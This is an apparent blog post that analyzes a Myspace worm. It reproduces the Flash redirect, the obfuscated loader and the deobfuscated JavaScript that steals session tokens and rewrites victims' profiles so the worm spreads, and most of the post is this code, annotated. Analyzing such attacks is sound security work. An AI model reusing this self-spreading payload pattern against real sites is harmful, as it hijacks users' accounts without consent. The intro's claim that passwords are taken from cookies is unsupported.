Myspace SWF Hack – it works

Myspace users can use SWF (Flash movies) to make their Layout. But Flash movie can be more than a simple animation. It has the ability to do action. This is called Action Scripting. While you are viewing someone’s Profile with Animated Flash movie your profile data’s like your email address and password can be hijacked from your cookie and saved in a place in behind.

I have recently came through a Digg story published by kinematic where he mentioned the Myspace hack technique. He actually decompiled a SWF file in Myspace to see it’s action script which revealed the secret of the hacking. It is advanced Javascript called AJAX which was used to hack.

When you visited an already infected page, there was an SWF embedded (“redirect.swf”) which contained the actionscript:

getURL(“http://editprofile.myspace.com/index.cfm?fuseaction=blog.view&friendID=93634373&blogID=144877075”, “_self”);

Which is pretty self explanatory – it opened the blog URL which you got redirected to.

On the blog url which you got redirected to, there was another SWF embedded, called “retrievecookie.swf”. This contained:

getURL(“javas\n\rcript: var x = new ActiveXObject(\’Msxml2.XMLHTTP\’);x.open(\’GET\’,\’http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\’,true);x.onreadystatechange=function(){if (x.readyState==4){var pg=x.responseText;var sc=pg.substring(pg.indexOf(\’BX-\’)+3,pg.indexOf(\’-EX\’));while((sc.indexOf(\’
\’)!=-1)||(sc.indexOf(\’-XXX\’)!=-1)){var n=sc.indexOf(\’
\’);if(n==-1)n=sc.indexOf(\’-XXX\’);sc=sc.substring(0,n)+sc.substring(n+5,sc.length);};” + “eval(sc);}};” + “x.send(null);”, “”);

Which looks pretty obfuscated, however, when you space it out and add comments:

getURL(”
javas\n\r
cript:
//this translates in the browser to: “javascript:”
//which myspace really should have blocked now.
var x = new ActiveXObject(\’Msxml2.XMLHTTP\’);
// loads a new xmlHTTP object, sets it as var “x”
x.open(\’GET\’,\’http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\’,true);
// This opens yet another blog post, at the URL above. The text of the URL is below
x.onreadystatechange = function()
// when the readystate of the xmlHTTP object changes:
{
if (x.readyState==4)
// once the state changes to complete (it goes from 0 to 4, iirc)
{
var pg = x.responseText;
// the code it got from the page
var sc = pg.substring(pg.indexOf(\’BX-\’)+3,pg.indexOf(\’-EX\’));
// loads into “sc” the contents of the response text from the place where
// the end of “BX-” (that’s the +3) is first encountered up until it finds the start of
// “-EX”, this is all the nasty JS.
while ( (sc.indexOf(\’
\’)!=-1) || (sc.indexOf(\’-XXX\’)!=-1) )
// while “sc” (the code) doesn’t contain “
” or “-XXX” then:
{
var n=sc.indexOf(\’
\’);
// n is the start of where it finds “
” in “sc”
if (n==-1)
n=sc.indexOf(\’-XXX\’);
// if it cant find “
, then make n where it can find “-XXX”

// thist bit next was really quite clever, it manages to keep the > closing bracket for
// the embed tag, which it needs, and creates the embed tag by removing
// XXX’s and leaving the final character!
sc = sc.substring(0,n)+sc.substring(n+5,sc.length);
// sc is now from the start, to n.
// then add on to sc the bit from n+5 to the end of sc,
// essentially, this cuts out the crap from the blog post it pull.
// the crap was in there in the first place to get past myspace’s filters, I presume.
};
// this iterates through and removes the -XXX’s from the blog post
” + “eval(sc);
// evaluate “sc” – this is what does it all.
} // end of readystate==4 “if”
}; //end of function
” //closing the quote from the SWF getURL() function
+

x.send(null);
// adds on sending “null” to the xmlHTTP object.
“, “”
// no target, so it just executes.
);// end of SWF getURL function.

In essence, it pulls a blog post from somewhere else on myspace, and evaluates the code that it contains.

This is the post:

BX-var msg=’-XXXX<-XXX
XE-XXXXM-XXXXB-XXXXE-XXXXD-XXXX src=”http://i105.photobucket.com/albums/m225/yrkblack/redirect.swf”>BY SPAIRLKAIFS’;function paramsToString(AV){ var N=new String(); var O=0; for(var P in AV){if(O>0){N+=’&’}var Q=escape(AV[P]);while(Q.indexOf(‘+’)!=-1){ Q=Q.replace(‘+’, ‘%2B’)}while(Q.indexOf(‘&’)!=-1){ Q=Q.replace(‘&’, ‘%26’)}N+=P+’=’+Q;O++ } return N};function getToken(page){ var start = page.indexOf(‘Mytoken=’); token = page.substring(start+8, start+8+36); return token;};function getHashCode(page){ var start = page.indexOf(‘name=”hash” value=”‘); hash = page.substring(start+19, start+19+216); return hash;};var xmlht-XXXXtp = x;var post = new Array();post[‘submit’]=’Preview’;post[‘interest’]=msg;post[‘interestLabel’]=’aboutme’;var postsz = paramsToString(post); var token = getToken(xmlhttp.responseText);xmlhttp = new ActiveXObject(‘Msxml2.XMLHTTP’);xmlhttp.open(‘POST’, ‘http://editprofile.myspace.com/index.cfm?fuseaction=profile.previewInterests&Mytoken=’+token, true);xmlhttp.setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);xmlhttp.setRequestHeader(‘Content-Length’, postsz.length);ev-XXXXal(‘xmlhttp.onreadys-XXXXtatechange=editReady;’);xmlhttp.send(postsz);function editReady(){if (xmlhttp.readyState==4){post = new Array();post[‘submit’]=’Submit’;post[‘hash’]=getHashCode(xmlhttp.responseText);post[‘interest’]=msg;post[‘interestLabel’]=’aboutme’;postsz = paramsToString(post); token = getToken(xmlhttp.responseText); xmlhttp = new ActiveXObject(‘Msxml2.XMLHTTP’);xmlhttp.open(‘POST’, ‘http://editprofile.myspace.com//index.cfm?fuseaction=profile.processInterests&Mytoken=’+token, true);xmlhttp.setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);xmlhttp.setRequestHeader(‘Content-Length’, postsz.length);xmlhttp.send(postsz);}};-EX

Tidied up (and -XXX’s, etc) removed + commented:

var msg=’BY SPAIRLKAIFS’;
// the message itself.
function paramsToString (AV)
{
var N=new String();
var O=0;
for (var P in AV)
{
if (O>0)
{
N+=’&’
// if it’s not the first iteration, add “&” to the value, as to seperate the values.
}

var Q=escape(AV[P]);

while (Q.indexOf(‘+’)!=-1)
{
Q=Q.replace(‘+’, ‘%2B’)
//replaec “+” with “%2B” – url encoding basically
}
while (Q.indexOf(‘&’)!=-1)
{
Q=Q.replace(‘&’, ‘%26’)
// same again, except for “&”.
}
N+= P + ‘=’ + Q;
O++
}
return N
};
// this turns a list of parameters in an array into a URL encoding string.

function getToken (page)
{
var start = page.indexOf(‘Mytoken=’);
token = page.substring(start+8, start+8+36);
return token;
};
// gets your token, since you’re on myspace already, your token is (unfortunately) in the URL.. oops.

function getHashCode (page)
{
var start = page.indexOf(‘name=”hash” value=”‘);
hash = page.substring(start+19, start+19+216);
return hash;
};
// gets your hash code, which is supposed to be a security measure
// again, since you’re on myspace.com – it’s in the URL. Nice one myspace.

var xmlhttp = x;
var post = new Array();
post[‘submit’]=’Preview’;
post[‘interest’]=msg;
post[‘interestLabel’]=’aboutme’;
// loads the payload (the “msg” var), and other bits into an array called “post”
var postsz = paramsToString(post);
// from the functione arlier, turns the “post” array into a string.
var token = getToken(xmlhttp.responseText);
// gets your token
xmlhttp = new ActiveXObject(‘Msxml2.XMLHTTP’);
// new xmlHTTp object.
xmlhttp.open(‘POST’, ‘http://editprofile.myspace.com/index.cfm?fuseaction=profile.previewInterests&Mytoken=’+token,true);
// opens the profile interest modifcation .. bit through a xmlHTTP object.

xmlhttp.setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
// sends a HTTP header, which is that it’s about to send a url encoded form.
xmlhttp.setRequestHeader(‘Content-Length’, postsz.length);
eval(‘xmlhttp.onreadystatechange=editReady;’);
// evaluates the function below when the readystate changes.
xmlhttp.send(postsz);
// sends it – which modifies your profile to include the contents of the msg var
function editReady()
{
if (xmlhttp.readyState==4)
{
post = new Array();
post[‘submit’]=’Submit’;
post[‘hash’]=getHashCode(xmlhttp.responseText);
post[‘interest’]=msg;
post[‘interestLabel’]=’aboutme’;
postsz = paramsToString(post);
token = getToken(xmlhttp.responseText);
xmlhttp = new ActiveXObject(‘Msxml2.XMLHTTP’);
xmlhttp.open(‘POST’,’http://editprofile.myspace.com//index.cfm?fuseaction=profile.processInterests&Mytoken=’+token,true); xmlhttp.setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
xmlhttp.setRequestHeader(‘Content-Length’, postsz.length);
xmlhttp.send(postsz);
}
};

Which is then all evaluated by the first load of JS.

If you are not a Programmer You can’t understand what it does. If you are infected properly this script will be able to modify your profile with something attacker wants. In the same way using the technique called Cross site scripting an attacker can change your password post bulletins to your friends without your help! Myspace can’t help you out on this.

Comments are closed.